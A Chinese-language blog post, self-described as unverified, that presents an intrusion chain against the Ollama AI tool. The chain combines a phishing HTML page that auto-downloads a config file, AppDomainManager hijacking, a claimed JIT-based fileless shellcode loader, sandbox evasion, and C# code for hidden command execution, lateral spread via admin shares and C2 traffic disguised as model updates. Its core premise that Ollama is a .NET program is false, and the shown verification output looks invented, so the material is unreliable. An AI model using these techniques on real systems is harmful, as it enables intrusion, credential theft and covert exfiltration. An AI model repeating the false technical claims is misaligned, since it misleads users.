劫持ai,木马思路(基于幻影CLR行动,未验证)

本文以Ollama为例,通过HTML钓鱼投放配置文件,借助AppDomain劫持抢占AI上下文权限,复用JIT引擎实现无文件内存执行。

攻击的核心,是“AppDomain前置劫持”与“JIT蹦床内存执行”的深度协同,二者结合实现“无文件、无注入、无特征”的入侵效果,其底层原理可拆解为两大核心模块。

AppDomainManager前置劫持:AI进程的“开门钥匙”
AppDomain是.NET程序的应用程序域,负责隔离程序运行环境,而AppDomainManager则是应用程序域的启动管理者。.NET程序启动时,CLR会优先读取与EXE同级的“EXE名称.config”配置文件,若配置中指定了自定义AppDomainManager,会优先加载并执行其代码——这一机制本身是.NET的合法功能,却被攻击者滥用为前置劫持的入口。
对于Ollama等AI命令行工具,攻击者只需在其安装目录放置“ollama.exe.config”,即可在Ollama启动前接管进程,抢占AI的全局运行上下文,无需修改EXE本身、无需注入进程,完全规避常规EDR的进程注入检测。

JIT蹦床:AI自带的“隐身加载器”
JIT(即时编译)是.NET CLR的核心组件,负责将IL中间代码动态编译为CPU可执行的机器码。AI命令行工具在推理过程中,会频繁动态编译推理算子,自动申请可执行内存(RX权限)、写入编译后的机器码并执行——这一过程是AI推理的正常行为,却被攻击者复用为“蹦床”,实现无文件内存执行。

与传统恶意代码通过VirtualAlloc申请内存、VirtualProtect修改权限的方式不同,JIT蹦床借助AI自身的JIT编译流程,所有内存操作均由CLR自动完成,EDR会判定为AI正常运算行为,完全无法识别恶意痕迹。攻击者只需将Shellcode写入AI JIT生成的合法内存,即可借助AI推理流程同步执行恶意指令。

攻击链路可复现性确认:

前置条件验证

  1. 确认Ollama为.NET程序:通过PowerShell执行dumpbin /imports ollama.exe | findstr mscoree,出现“mscoree.dll”(.NET核心依赖),证明其为纯.NET托管程序;
  2. 验证目录可写入:在Ollama安装目录执行echo test | out-file test.tmp && del test.tmp,无报错说明普通用户可写入文件,满足config投放条件;
  3. JIT机制验证:编写极简C#代码,通过DynamicMethod模拟AI JIT编译流程,成功生成可执行内存并执行,验证JIT蹦床在本地环境完全可用(运行结果如下):
    === 验证:AI命令行JIT内存上下文权限 ===JIT内存已合法申请 | AI上下文权限正常验证成功:AI命令行环境天然支持JIT无文件执行

完整攻击链路:

第一步:HTML钓鱼投放config配置文件
攻击者以“AI模型使用手册”“Prompt优化指南”为伪装,制作恶意HTML文件,通过钓鱼邮件发送给目标用户。HTML文件内置JavaScript脚本,可自动生成“ollama.exe.config”配置文件并触发下载,核心代码如下(合规演示版):

  function GenerateConfig() {
        // AppDomain劫持配置内容
        var configContent = `<?xml version="1.0" encoding="utf-8"?>`;
        var blob = new Blob([configContent], { type: "text/xml" });
        var a = document.createElement("a");
        a.href = URL.createObjectURL(blob);
        a.download = "ollama.exe.config"; // 下载为目标配置文件
        a.click(); // 自动触发下载
    }

或者钓鱼邮件
用户点开钓鱼附件,附件是自解压压缩包 / 批处理 / 快捷方式 lnk

shell:
Copy-Item 恶意配置文件 "C:\Users\XXX\AppData\Local\Programs\Ollama\ollama.exe.config"

第二步:AppDomain前置劫持AI进程
用户双击HTML文件后,“ollama.exe.config”会被自动下载至浏览器默认下载目录(如C:\Users\XXX\Downloads),攻击者可通过脚本将其静默移动至Ollama安装目录(C:\Users\XXX\AppData\Local\Programs\Ollama)。
当用户下次启动Ollama时,CLR会优先读取同级的“ollama.exe.config”,加载自定义AppDomainManager,实现前置劫持——此时攻击者已完全接管Ollama进程,继承其管理员权限、文件读写权限、网络权限和AI运行上下文。

第三步:JIT蹦床复用与无文件执行
劫持成功后,攻击者无需调用任何敏感API,直接复用Ollama自身的JIT编译流程:

  1. Hook Ollama内部JIT编译函数,监控AI推理时的可执行内存申请;
  2. 将加密后的Shellcode写入AI JIT生成的合法RX内存;
  3. 借助Ollama推理循环,同步执行Shellcode,实现无文件、无痕迹运行。
    此外,Ollama加载模型时的超长延时(几十秒至几分钟),可天然规避沙箱分析——沙箱会因超时自动退出,无法捕获恶意行为

第四步:AI上下文滥用与内网扩散
攻击者借助Ollama的上下文权限,可实现以下攻击行为,完成内网渗透:

  • 借AI命令行执行系统命令,窃取域凭证、遍历内网资源;
  • 将Shellcode嵌入AI模型权重,实现持久化驻留(Ollama每次加载模型即激活恶意代码);
  • 利用AI联网下载模型的行为,伪装C2通信,躲避流量审计;
  • 批量向内网其他AI命令行工具投放config配置,实现横向扩散

示例:
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace AI_Context_Abuse_Demo
{
public class AIContextAbuse
{
// 1. 借助AI上下文执行系统命令(模拟凭证窃取)
public static void ExecuteSystemCmdViaAI()
{
// 复用Ollama命令行上下文,执行合法系统命令(演示用)
var process = new System.Diagnostics.Process
{
StartInfo = new System.Diagnostics.ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/c ipconfig", // 替换为实际探测/窃取命令
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true // 隐藏窗口,AI进程下无痕迹
}
};
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

        // 模拟将结果写入AI模型目录(伪装为模型日志,无恶意)
        File.WriteAllText(@"C:\Users\XXX\AppData\Local\Programs\Ollama\model_log.txt", output);
    }

    // 2. 内网横向扩散(批量投放config配置)
    public static void BatchDeployConfig()
    {
        // 借助Ollama内网访问权限,扫描内网AI主机(Ollama默认11434端口未授权访问)
        string[] innerNetIps = { "192.168.1.100", "192.168.1.101", "192.168.1.102" }; // 模拟内网IP
        string configContent = @"<?xml version=""1.0"" encoding=""utf-8""?>
";
        foreach (var ip in innerNetIps)
        {
            try
            {
                // 模拟访问内网Ollama主机,投放config(基于Ollama未授权访问漏洞)
                string targetPath = $"\\\\{ip}\\C$\\Users\\XXX\\AppData\\Local\\Programs\\Ollama\\ollama.exe.config";
                File.WriteAllText(targetPath, configContent);
                Console.WriteLine($"内网主机 {ip} config投放成功");
            }
            catch
            {
                // 跳过无法访问的主机,不中断扩散流程
                continue;
            }
        }
    }

    // 3. 利用AI联网上下文伪装C2通信(模拟)
    public static void DisguiseC2ViaAI()
    {
        // 伪装为Ollama模型更新请求,发送数据(模拟C2通信)
        using (WebClient client = new WebClient())
        {
            // 伪装成模型更新URL(与Ollama正常联网行为一致)
            string c2Url = "https://cdn.ollama.com/models/update"; 
            string data = "model=llama2&version=latest"; // 模拟模型更新参数
            // 发送数据,流量与AI正常联网完全一致,躲避审计
            client.UploadString(c2Url, data);
        }
    }
}

}

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。